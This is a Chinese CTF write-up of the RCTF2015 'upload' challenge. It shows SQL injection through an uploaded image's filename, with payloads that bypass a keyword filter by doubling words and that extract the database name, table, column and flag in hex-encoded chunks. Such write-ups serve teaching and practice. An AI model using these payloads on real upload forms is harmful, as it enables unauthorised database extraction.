WEB

RCTF2015+XCTF复现之一次上传的图片的文件名造成注入

2019-02-20  本文已影响4人  kepler404

upload

sql注入

【原理】

首先先了解几个函数的意义:

mid(),hex(),conv()

mid():MID(str,pos,len)

从字符串str返回一个len个字符的子串,从位置pos开始。使用FROM的变种形式是ANSI SQL92语法。

mysql> select SUBSTRING('Quadratically',5,6);

    -> 'ratica'

hex():返回十六进制值N一个字符串的表示,在此N是一个长整型(BIGINT)数字,这等价于CONV(N,10,16)。如果N是NULL,返回NULL。

mysql> select HEX(255);

    -> 'FF'

CONV(N,from_base,to_base)

  在不同的数字基数之间转换数字。将数字 N 从from_base 转换到 to_base,并以字符串形式返回。如果任何一个参数为 NULL,那么返回值也为 NULL。参数 N 被解释为是一个整数,但是也可以被指定为一个整数或一个字符串。最小基为 2,最大基为 36。如果 to_base 是一个负值,N 将被看作为是一个有符号数字。否则,N 被视为是无符号的。CONV 以 64 位精度工作。

mysql> select conv(100,10,2);

  +----------------+

  | conv(100,10,2) |

  +----------------+

  | 1100100 |

  +----------------+

---------------------

【步骤】

图片的文件名可以造成注入

因为这个题目对select from 有过滤,所以用 selselectect frfromom 代替

构造payload

查询数据库:

sql '+(selselectect CONV(substr(hex(dAtaBase()),1,12),16,10))+'.jpg

返回:sql 131277325825392 => web_up

sql '+(selselectect CONV(substr(hex(dAtaBase()),13,12),16,10))+'.jpg

返回:sql 1819238756 => load

拼接起来得知数据库名为:web_upload

然后查表:

sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom

information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit

1,1)),1,12),16,10))+'.jpg

返回:sql 114784820031327 => hello_

sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom

information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit

1,1)),13,12),16,10))+'.jpg

返回:sql 112615676665705 => flag_i

sql '+(seleselectct+CONV(substr(hex((selselectect TABLE_NAME frfromom

information_schema.TABLES where TABLE_SCHEMA = 'web_upload' limit

1,1)),25,12),16,10))+'.jpg

返回:sql 126853610566245 => s_here

拼接起来得知存放flag的表名为:hello_flag_is_here

然后查这个表里有什么字段:

sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom

information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit

0,1)),1,12),16,10))+'.jpg

返回:sql 115858377367398 => i_am_f

sql '+(seleselectct+CONV(substr(hex((seselectlect COLUMN_NAME frfromom

information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit

0,1)),13,12),16,10))+'.jpg

返回:sql 7102823=> lag

拼接起来得知存放flag的字段是:i_am_flag

然后查询flag:

sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

返回: sql 36427215695199 => !!_@m_

sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg

返回:sql 92806431727430=> Th.e_F

sql '+(seleselectct+CONV(substr(hex((selselectect i_am_flag frfromom hello_flag_is_here limit 0,1)),25,12),16,10))+'.jpg

返回: sql 560750951=> !lag

拼起来之后得到flag:!!_@m_Th.e_F!lag

参考https://blog.csdn.net/niexinming/article/details/49888893?utm_source=blogxgwz0

上一篇下一篇

猜你喜欢

热点阅读